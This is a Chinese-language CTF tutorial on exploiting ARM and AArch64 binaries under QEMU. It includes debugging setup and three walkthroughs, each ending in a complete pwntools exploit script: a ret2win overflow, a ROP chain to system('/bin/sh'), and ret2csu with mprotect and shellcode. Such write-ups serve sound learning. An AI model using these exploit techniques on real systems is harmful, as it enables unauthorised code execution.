QEMU
两种运行模式
qemu-user
qemu-system
qemu-system 可以进行完整的系统仿真,而 qemu-user 只提供用户态仿真。
安装:
apt search "libc6-" | grep "arm"
sudo apt-get install qemu qemu-user qemu-user-static
本地运行
arm
qemu-arm -L /usr/arm-linux-gnueabi ./pwn
aarch64
qemu-aarch64 -L /usr/aarch64-linux-gnu/ ./pwn
gdb调试
下载:
sudo apt-get install gdb-multiarch
调试:
gdb-multiarch pwn -q
set architecture arm
set architecture aarch64
target remote localhost:1234
ret2win (arm ret2text)
思路
arm架构的,然后动态链接程序
栈溢出,也有后门,很好解决,这里主要是通过调试去熟悉arm架构的寄存器的操作
可以看到这里寄存器和x86有区别,但是还是可以看个大概,这里我们就直接去通过通过调试去熟悉就可以了
我们直接在exp里面写上
p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","-g", "1234","./pwn"])
然后开始调试
调试异架构的时候建议直接下断点然后运行过去就可以
这里我直接走到pwnme函数,可以看到bl就相当于call
然后基本确定r0-r2储存前三个参数
然后pc就是相当于rip,sp储存的就是栈顶
r11就类似于rbp
然后这里就是fp储存的栈底去减4赋值给sp
然后就是pop {fp, pc}
从上图调试,大概可以可以看出就是把sp储存的值pop给r11,然后再sp+1,再执行pop pc,沿着sp去执行程序,同时sp指针再加1
exp
import os
import sys
import time
from pwn import *
from ctypes import *
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'x00'))
uu64 = lambda data :u64(data.ljust(8,b'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
context(arch='arm', os='linux')
context.log_level = 'debug'
p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","./pwn"])
#p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","-g", "1234","./pwn"])
pl = "a" * 0x24 + p32(0x000105EC)
sa('>', pl)
itr()
typo (arm simple rop)
思路
这里的ida里面的代码量很大,直接运行程序,去看看有没有溢出就可以
这里可以看出溢出了,所以用gdb调试一下
这里的gdb实际上是不太好调的
如果我们只是输入范围内大小的字符串,调试那里会卡住,所以这里我们输入比较短的字符串很难去得到偏移,所以这里我们直接用cyclic去寻找
先用cyclic去生成一段字符串
然后我们直接输入
直接找出偏移112
然后再找一下gadget
然后找bin/sh
然后顺着bin/sh,找到了类似于system的函数
exp
import os
import sys
import time
from pwn import *
from ctypes import *
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'x00'))
uu64 = lambda data :u64(data.ljust(8,b'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
context(arch='arm', os='linux')
context.log_level = 'debug'
p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","./pwn"])
#p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","-g", "1234","./pwn"])
r0_r4=0x00020904
bin_sh=0x0006c384
system=0x00010BA8
s('n')
pl='a'*112+p32(r0_r4)+p32(bin_sh)+p32(0)+p32(system)
s(pl)
itr()
baby_arm (aarch64 ret2csu)
思路
先动调熟悉一下
储存参数的寄存器是x0-x2
然后在ida中我们发现有mprotect函数
然后第一次read是直接读入到bss段,所以这里我们就可以去写shellcode,然后利用mprotect修改权限后调用
然后这里就是类似于csu的gadget
这一段LDP X19, X20, [SP,#var_s10]
意思是将sp+0x10处数据给x19,sp+0x18处数据给0x20
以此类推,后面的汇编表示的是:
将sp+0x20处数据给x21,sp+0x28处数据给0x22
将sp+0x30处数据给x23,sp+0x38处数据给0x24
将sp处数据给x29,sp+0x8处数据给x30
RET ; 返回x30寄存器中存放的地址/PC
这一段的作用就是赋值
然后这一段就是利用x21,x22,x23,x24分别向x3,x2,x1,x0赋值,然后跳转到x3的地址,然后比较x19与x20,相等不跳转
第一次read输入shellcode,然后第二次用csu去调用相应的函数和shellcode
def csu(x19,x20,call_got,x2,x1,x0,call_shell):
pl ='a' * offset
pl += p64(csu_down)
pl += p64(0) + p64(csu_up)
pl += p64(x19) + p64(x20) #x19 x20
pl += p64(call_got) + p64(x2) #x21 x22
pl += p64(x1) + p64(x0) #x23 x24
pl += p64(0) + p64(call_shell)
pl += p64(0) * 6
return pl
这里的定义的csu就是溢出后调用,先去覆盖返回地址为csu_down,调用后sp指向csu_down,然后按照偏移依次往下构造就可以
exp
import os
import sys
import time
from pwn import *
from ctypes import *
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'x00'))
uu64 = lambda data :u64(data.ljust(8,b'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'
p = process(["qemu-aarch64","-L","/usr/aarch64-linux-gnu/","./pwn"])
#p = process(["qemu-aarch64","-L","/usr/aarch64-linux-gnu/","-g", "1234","./pwn"])
mprotect_plt = 0x400600
mprotect_got = 0x411030
csu_down = 0x4008CC
csu_up = 0x4008AC
offset=0x48
def csu(x19,x20,call_got,x2,x1,x0,call_shell):
pl ='a' * offset
pl += p64(csu_down)
pl += p64(0) + p64(csu_up)
pl += p64(x19) + p64(x20) #x19 x20
pl += p64(call_got) + p64(x2) #x21 x22
pl += p64(x1) + p64(x0) #x23 x24
pl += p64(0) + p64(call_shell)
pl += p64(0) * 6
return pl
shellcode_addr = 0x411068
shellcode = asm(shellcraft.aarch64.sh())
pl = shellcode
sa('Name:',pl)
pl=csu(0,1,mprotect_got,7,0x1000,shellcode_addr,shellcode_addr)
s(pl)
itr()
来源:【https://xz.aliyun.com/】,感谢【PaT1Ent】
原文始发于微信公众号(船山信安):arm aarch64 pwn学习
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论